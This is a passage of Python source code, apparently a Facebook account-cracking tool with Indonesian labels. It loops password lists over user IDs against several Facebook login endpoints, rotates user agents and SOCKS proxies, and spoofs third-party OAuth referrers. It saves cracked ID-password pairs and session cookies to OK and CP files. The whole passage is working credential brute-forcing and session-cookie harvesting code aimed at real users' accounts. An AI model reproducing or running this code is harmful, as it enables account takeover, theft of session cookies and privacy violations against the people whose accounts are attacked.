  916.                     ok+=1
  917.                     coki=po.cookies.get_dict()
  918.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  919.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=24,style=f"bold green"))
  920.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=38,style=f"bold green")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=8,style=f"bold green"))
  921.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold green"))
  922.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold green"))
  923.                     cetak(CYXID)
  924.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  925.                     break
  926.                 elif 'ya' in taplikasi:
  927.                     ok+=1
  928.                     coki=po.cookies.get_dict()
  929.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  930.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=24,style=f"bold green"))
  931.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=38,style=f"bold green")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=8,style=f"bold green"))
  932.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold green"))
  933.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold green"))
  934.                     cetak(CYXID)
  935.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  936.                     cek_apk(kuki)
  937.                     break      
  938.                
  939.             else:
  940.                 continue
  941.         except requests.exceptions.ConnectionError:
  942.             time.sleep(31)
  943.     loop+=1
  944.    
  945. def metod2(idf,pwv):
  946.     global loop,ok,cp
  947.     prog.update(des,description=f"[bold green]Mbasic V1[bold white] {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  948.     prog.advance(des)
  949.     ua = random.choice(ugen)
  950.     ua2 = random.choice(ugen2)
  951.     ses = requests.Session()
  952.     for pw in pwv:
  953.         try:
  954.             if 'ya' in ualuh: ua = ualu[0]
  955.             nip=random.choice(prox)
  956.             proxs= {'http': 'socks5://'+nip}
  957.             ses.headers.update({"Host": "mbasic.facebook.com","cache-control": "max-age=0","upgrade-insecure-requests": "1","origin": "https://mbasic.facebook.com","content-type": "application/x-www-form-urlencoded","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","x-requested-with": "mark.via.gp","sec-fetch-site": "same-origin","sec-fetch-mode": "navigate","sec-fetch-user": "?1","sec-fetch-dest": "document","referer": "https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8","accept-encoding": "gzip, deflate","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"})
  958.             p = ses.get('https://mbasic.facebook.com/login.php?skip_api_login=1&api_key=141595129234543&kid_directed_site=0&app_id=141595129234543&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv5.0%2Fdialog%2Foauth%3Fclient_id%3D141595129234543%26redirect_uri%3Dhttps%253A%252F%252Fibispaint.com%252Flogin.jsp%26display%3Dpopup%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3De8184574-7e8f-41f3-b6d5-47a6c13f68fd%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fibispaint.com%2Flogin.jsp%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  959.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://developers.facebook.com/tools/debug/accesstoken/","flow":"login_no_pin","pass":pw,}
  960.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  961.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  962.             heade={'Host': 'mbasic.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/index.php?next=https%3A%2F%2Fdevelopers.facebook.com%2Ftools%2Fdebug%2Faccesstoken%2F','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  963.             po = ses.post('https://mbasic.facebook.com/login/device-based/validate-password/?shbl=0',data=dataa,allow_redirects=False)
  964.             if "checkpoint" in po.cookies.get_dict().keys():
  965.                 if 'no' in gabriel:
  966.                     cp+=1
  967.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=28,style=f"bold yellow"))
  968.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=38,style=f"bold yellow")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=8,style=f"bold yellow"))
  969.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold yellow"))
  970.                     cetak(CYXID)
  971.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  972.                     akun.append(idf+'|'+pw)
  973.                     break
  974.                    
  975.                 if 'no' in gabriel:
  976.                     cp+=1
  977.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=28,style=f"bold yellow"))
  978.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=38,style=f"bold yellow")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=8,style=f"bold yellow"))
  979.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold yellow"))
  980.                     cetak(CYXID)
  981.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  982.                     akun.append(idf+'|'+pw)
  983.                     ceker(idf,pw)
  984.                     break
  985.             elif "c_user" in ses.cookies.get_dict().keys():
  986.                 if 'no' in taplikasi:
  987.                     ok+=1
  988.                     coki=po.cookies.get_dict()
  989.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  990.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=24,style=f"bold green"))
  991.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=38,style=f"bold green")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=8,style=f"bold green"))
  992.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold green"))
  993.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold green"))
  994.                     cetak(CYXID)
  995.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  996.                     break
  997.                 elif 'ya' in taplikasi:
  998.                     ok+=1
  999.                     coki=po.cookies.get_dict()
  1000.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1001.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=24,style=f"bold green"))
  1002.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=38,style=f"bold green")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=8,style=f"bold green"))
  1003.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold green"))
  1004.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold green"))
  1005.                     cetak(CYXID)
  1006.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1007.                     cek_apk(kuki)
  1008.                     break      
  1009.                
  1010.             else:
  1011.                 continue
  1012.         except requests.exceptions.ConnectionError:
  1013.             time.sleep(31)
  1014.     loop+=1
  1015.    
  1016. def metod3(idf,pwv):
  1017.     global loop,ok,cp
  1018.     prog.update(des,description=f"[bold green]Mbasic V2[bold white] {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  1019.     prog.advance(des)
  1020.     ua = random.choice(ugen)
  1021.     ua2 = random.choice(ugen2)
  1022.     ses = requests.Session()
  1023.     for pw in pwv:
  1024.         try:
  1025.             if 'ya' in ualuh: ua = ualu[0]
  1026.             nip=random.choice(prox)
  1027.             proxs= {'http': 'socks5://'+nip}
  1028.             ses.headers.update({'Host': 'mbasic.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  1029.             p = ses.get('https://mbasic.facebook.com/login.php?skip_api_login=1&api_key=1862952583919182&kid_directed_site=0&app_id=1862952583919182&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv2.9%2Fdialog%2Foauth%2F%3Fplatform%3Dfacebook%26client_id%3D1862952583919182%26response_type%3Dtoken%26redirect_uri%3Dhttps%253A%252F%252Fwww.tiktok.com%252Flogin%252F%26state%3D%257B%2522client_id%2522%253A%25221862952583919182%2522%252C%2522network%2522%253A%2522facebook%2522%252C%2522display%2522%253A%2522popup%2522%252C%2522callback%2522%253A%2522_hellojs_6e2e4pat%2522%252C%2522state%2522%253A%2522%2522%252C%2522redirect_uri%2522%253A%2522https%253A%252F%252Fwww.tiktok.com%252Flogin%252F%2522%252C%2522scope%2522%253A%2522basic%2522%257D%26scope%3Dpublic_profile%26auth_type%3Dreauthenticate%26display%3Dpopup%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Dc5ab7d53-0810-47b0-8640-39adfbf98cfd%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fwww.tiktok.com%2Flogin%2F%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%2522client_id%2522%253A%25221862952583919182%2522%252C%2522network%2522%253A%2522facebook%2522%252C%2522display%2522%253A%2522popup%2522%252C%2522callback%2522%253A%2522_hellojs_6e2e4pat%2522%252C%2522state%2522%253A%2522%2522%252C%2522redirect_uri%2522%253A%2522https%253A%252F%252Fwww.tiktok.com%252Flogin%252F%2522%252C%2522scope%2522%253A%2522basic%2522%257D%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  1030.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://developers.facebook.com/tools/debug/accesstoken/","flow":"login_no_pin","pass":pw,}
  1031.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  1032.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  1033.             heade={'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  1034.             po = ses.post('https://mbasic.facebook.com/login/device-based/validate-password/?shbl=0',data=dataa,allow_redirects=False)
  1035.             if "checkpoint" in po.cookies.get_dict().keys():
  1036.                 if 'no' in gabriel:
  1037.                     cp+=1
  1038.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=28,style=f"bold yellow"))
  1039.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=38,style=f"bold yellow")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=8,style=f"bold yellow"))
  1040.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold yellow"))
  1041.                     cetak(CYXID)
  1042.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1043.                     akun.append(idf+'|'+pw)
  1044.                     break
  1045.                    
  1046.                 if 'no' in gabriel:
  1047.                     cp+=1
  1048.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=28,style=f"bold yellow"))
  1049.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=38,style=f"bold yellow")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=8,style=f"bold yellow"))
  1050.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold yellow"))
  1051.                     cetak(CYXID)
  1052.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1053.                     akun.append(idf+'|'+pw)
  1054.                     ceker(idf,pw)
  1055.                     break
  1056.             elif "c_user" in ses.cookies.get_dict().keys():
  1057.                 if 'no' in taplikasi:
  1058.                     ok+=1
  1059.                     coki=po.cookies.get_dict()
  1060.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1061.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=24,style=f"bold green"))
  1062.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=38,style=f"bold green")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=8,style=f"bold green"))
  1063.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold green"))
  1064.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold green"))
  1065.                     cetak(CYXID)
  1066.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1067.                     break
  1068.                 elif 'ya' in taplikasi:
  1069.                     ok+=1
  1070.                     coki=po.cookies.get_dict()
  1071.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1072.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=24,style=f"bold green"))
  1073.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=38,style=f"bold green")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=8,style=f"bold green"))
  1074.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold green"))
  1075.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold green"))
  1076.                     cetak(CYXID)
  1077.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1078.                     cek_apk(kuki)
  1079.                     break      
  1080.                
  1081.             else:
  1082.                 continue
  1083.         except requests.exceptions.ConnectionError:
  1084.             time.sleep(31)
  1085.     loop+=1
  1086.    
  1087. def metod4(idf,pwv):
  1088.     global loop,ok,cp
  1089.     prog.update(des,description=f"[bold green]Free V1[bold white] {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  1090.     prog.advance(des)
  1091.     ua = random.choice(ugen)
  1092.     ua2 = random.choice(ugen2)
  1093.     ses = requests.Session()
  1094.     for pw in pwv:
  1095.         try:
  1096.             if 'ya' in ualuh: ua = ualu[0]
  1097.             nip=random.choice(prox)
  1098.             proxs= {'http': 'socks4://'+nip}
  1099.             ses.headers.update({'Host': 'free.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  1100.             p = ses.get('https://free.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr')
  1101.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://free.facebook.com/login/save-device/","flow":"login_no_pin","pass":pw,}
  1102.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  1103.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  1104.             heade={'Host': 'free.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://free.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://free.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'ms-MY,ms;q=0.9,en-US;q=0.8,en;q=0.7','connection': 'close'}
  1105.             po = ses.post('https://free.facebook.com/login/device-based/validate-password/?shbl=0',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
  1106.             if "checkpoint" in po.cookies.get_dict().keys():
  1107.                 if 'no' in gabriel:
  1108.                     cp+=1
  1109.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=28,style=f"bold yellow"))
  1110.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=38,style=f"bold yellow")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=8,style=f"bold yellow"))
  1111.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold yellow"))
  1112.                     cetak(CYXID)
  1113.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1114.                     akun.append(idf+'|'+pw)
  1115.                     break
  1116.                    
  1117.                 if 'no' in gabriel:
  1118.                     cp+=1
  1119.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=28,style=f"bold yellow"))
  1120.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=38,style=f"bold yellow")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=8,style=f"bold yellow"))
  1121.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold yellow"))
  1122.                     cetak(CYXID)
  1123.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1124.                     akun.append(idf+'|'+pw)
  1125.                     ceker(idf,pw)
  1126.                     break
  1127.             elif "c_user" in ses.cookies.get_dict().keys():
  1128.                 if 'no' in taplikasi:
  1129.                     ok+=1
  1130.                     coki=po.cookies.get_dict()
  1131.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1132.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=24,style=f"bold green"))
  1133.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=38,style=f"bold green")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=8,style=f"bold green"))
  1134.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold green"))
  1135.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold green"))
  1136.                     cetak(CYXID)
  1137.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1138.                     break
  1139.                 elif 'ya' in taplikasi:
  1140.                     ok+=1
  1141.                     coki=po.cookies.get_dict()
  1142.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1143.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=24,style=f"bold green"))
  1144.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=38,style=f"bold green")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=8,style=f"bold green"))
  1145.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold green"))
  1146.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold green"))
  1147.                     cetak(CYXID)
  1148.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1149.                     cek_apk(kuki)
  1150.                     break      
  1151.                
  1152.             else:
  1153.                 continue
  1154.         except requests.exceptions.ConnectionError:
  1155.             time.sleep(31)
  1156.     loop+=1
  1157.    
  1158. #--------------------[ METODE REGULER ]-----------------#
  1159. def metod5(idf,pwv):
  1160.     global loop,ok,cp
  1161.     prog.update(des,description=f"[bold green]Mobile V1[bold white] {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  1162.     prog.advance(des)
  1163.     ua = random.choice(ugen)
  1164.     ua2 = random.choice(ugen2)
  1165.     ses = requests.Session()
  1166.     for pw in pwv:
  1167.         try:
  1168.             if 'ya' in ualuh: ua = ualu[0]
  1169.             nip=random.choice(prox)
  1170.             proxs= {'http': 'socks4://'+nip}
  1171.             ses.headers.update({"Host":"m.facebook.com","upgrade-insecure-requests":"1","user-agent":ua,"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9","dnt":"1","x-requested-with":"mark.via.gp","sec-fetch-site":"same-origin","sec-fetch-mode":"cors","sec-fetch-user":"empty","sec-fetch-dest":"document","referer":"https://m.facebook.com/","accept-encoding":"gzip, deflate br","accept-language":"en-GB,en-US;q=0.9,en;q=0.8"})
  1172.             p = ses.get('https://m.facebook.com/login/?email='+idf).text
  1173.             dataa ={
  1174. 'lsd':re.search('name="lsd" value="(.*?)"', str(p)).group(1),
  1175. 'jazoest':re.search('name="jazoest" value="(.*?)"', str(p)).group(1),
  1176. 'm_ts':re.search('name="m_ts" value="(.*?)"', str(p)).group(1),
  1177. 'li':re.search('name="li" value="(.*?)"', str(p)).group(1),
  1178. 'email':idf,
  1179. 'pass':pw
  1180. }
  1181.             ses.headers.update({'Host': 'm.facebook.com',
  1182. 'cache-control': 'max-age=0',
  1183. 'upgrade-insecure-requests': '1',
  1184. 'origin': 'https://m.facebook.com',
  1185. 'content-type': 'application/x-www-form-urlencoded',
  1186. 'user-agent': ua,
  1187. 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  1188. 'sec-fetch-site': 'same-origin',
  1189. 'sec-fetch-mode': 'cors',
  1190. 'sec-fetch-user': 'empty',
  1191. 'sec-fetch-dest': 'document',
  1192. 'referer': 'https://m.facebook.com/login/?email='+idf,
  1193. 'accept-encoding':'gzip, deflate br',
  1194. 'accept-language':'en-GB,en-US;q=0.9,en;q=0.8'})
  1195.  
  1196.             po = ses.post('https://m.facebook.com/login/device-based/regular/login/?shbl=1&refsrc=deprecated',data=dataa,allow_redirects=False,proxies=proxs)
  1197.             if "checkpoint" in po.cookies.get_dict().keys():
  1198.                 if 'no' in gabriel:
  1199.                     cp+=1
  1200.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=28,style=f"bold yellow"))
  1201.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=38,style=f"bold yellow")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=8,style=f"bold yellow"))
  1202.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold yellow"))
  1203.                     cetak(CYXID)
  1204.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1205.                     akun.append(idf+'|'+pw)
  1206.                     break
  1207.                    
  1208.                 if 'no' in gabriel:
  1209.                     cp+=1
  1210.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=28,style=f"bold yellow"))
  1211.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=38,style=f"bold yellow")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=8,style=f"bold yellow"))
  1212.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold yellow"))
  1213.                     cetak(CYXID)
  1214.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1215.                     akun.append(idf+'|'+pw)
  1216.                     ceker(idf,pw)
  1217.                     break
  1218.             elif "c_user" in ses.cookies.get_dict().keys():
  1219.                 if 'no' in taplikasi:
  1220.                     ok+=1
  1221.                     coki=po.cookies.get_dict()
  1222.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1223.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=24,style=f"bold green"))
  1224.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=38,style=f"bold green")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=8,style=f"bold green"))
  1225.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold green"))
  1226.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold green"))
  1227.                     cetak(CYXID)
  1228.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1229.                     break
  1230.                 elif 'ya' in taplikasi:
  1231.                     ok+=1
  1232.                     coki=po.cookies.get_dict()
  1233.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1234.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=24,style=f"bold green"))
  1235.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=38,style=f"bold green")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=8,style=f"bold green"))
  1236.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold green"))
  1237.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold green"))
  1238.                     cetak(CYXID)
  1239.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1240.                     cek_apk(kuki)
  1241.                     break      
  1242.                
  1243.             else:
  1244.                 continue
  1245.         except requests.exceptions.ConnectionError:
  1246.             time.sleep(31)
  1247.     loop+=1
  1248.    
  1249. def metod6(idf,pwv):
  1250.     global loop,ok,cp
  1251.     prog.update(des,description=f"[bold green]Mbasic V1[bold white] {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  1252.     prog.advance(des)
  1253.     ua = random.choice(ugen)
  1254.     ua2 = random.choice(ugen2)
  1255.     ses = requests.Session()
  1256.     for pw in pwv:
  1257.         try:
  1258.             if 'ya' in ualuh: ua = ualu[0]
  1259.             nip=random.choice(prox)
  1260.             proxs= {'http': 'socks5://'+nip}
  1261.             ses.headers.update({"Host":"mbasic.facebook.com","upgrade-insecure-requests":"1","user-agent":ua,"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9","dnt":"1","x-requested-with":"mark.via.gp","sec-fetch-site":"same-origin","sec-fetch-mode":"cors","sec-fetch-user":"empty","sec-fetch-dest":"document","referer":"https://m.facebook.com/","accept-encoding":"gzip, deflate br","accept-language":"en-GB,en-US;q=0.9,en;q=0.8"})
  1262.             p = ses.get('https://mbasic.facebook.com/login/?email='+idf).text
